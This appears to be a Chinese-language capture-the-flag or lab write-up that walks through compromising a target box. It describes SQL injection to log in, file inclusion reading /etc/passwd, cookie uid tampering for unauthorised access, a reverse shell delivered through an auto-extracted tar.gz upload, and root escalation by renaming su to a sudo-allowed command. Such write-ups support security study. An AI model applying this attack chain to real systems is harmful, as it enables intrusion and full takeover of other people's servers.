在这个目录下找到这个sql语句报错，猜测网站很可能存在sql注入漏洞。
经过检测，果真存在sql注入漏洞。
经过测试，只有四列！

登陆成功，使用的是第一个人的账号以及第一个密码。
使用bp发包的话老是失败，只能手动尝试了。
1、文件上传
这个用户不太行，上传被禁用了。
经过测试，这个用户可以进行文件上传。
2、文件包含
果然存在文件包含漏洞。
经过读取上传源码，我们知道了，上传tar压缩包时候，系统会自动进行解压，并把文件放置用户的家目录里。
3、越权漏洞
通过修改cookie中的uid号即可实现越权。

我们可以免密用sudo执行chown chgrp tar mv这几个命令。
那么结合mv可以给文件改名的特点，我们只要选择chown chgrp tar三个指令中的任意一个（这里以tar为例）改名为其他名字（tar.or）；
然后再把用于提权的su命令改名为这三个中的一个（tar），然后运行sudo 指令（sudo tar）即可提权
运行sudo tar就相当于运行sudo su，因为su被我们改名成了tar，然后tar又可以被我们sudo免密运行，成功提权！

总结
1.主机发现和端口扫描
2.web渗透：SQL注入登录后台。得到账号alamo，但这个账户没有权限上传文件。
3.利用文件包含读取/etc/passwd，得到其他用户的用户名，再通过SQL注入重新登录其他账号，寻找有文件上传权限的账号。也可以F12通过修改cookie中的uid的值直接越权。
4.文件上传：直接上传反弹shell的文件，会发现路径没有权限访问，无法触发执行，最后通过勾选Enable the automatic extraction of gzip archives并上传.tar.gz的文件成功后台解压，最终访问路径后触发代码执行，反弹shell获得了初始www-data的shell。
5.提权：sudo -l查看权限，发现有mv指令的免密sudo权限，因此可以通过mv将提权指令su更名为其他任意的有sudo权限的指令即可。sudo运行su更名后的指令即可提权。
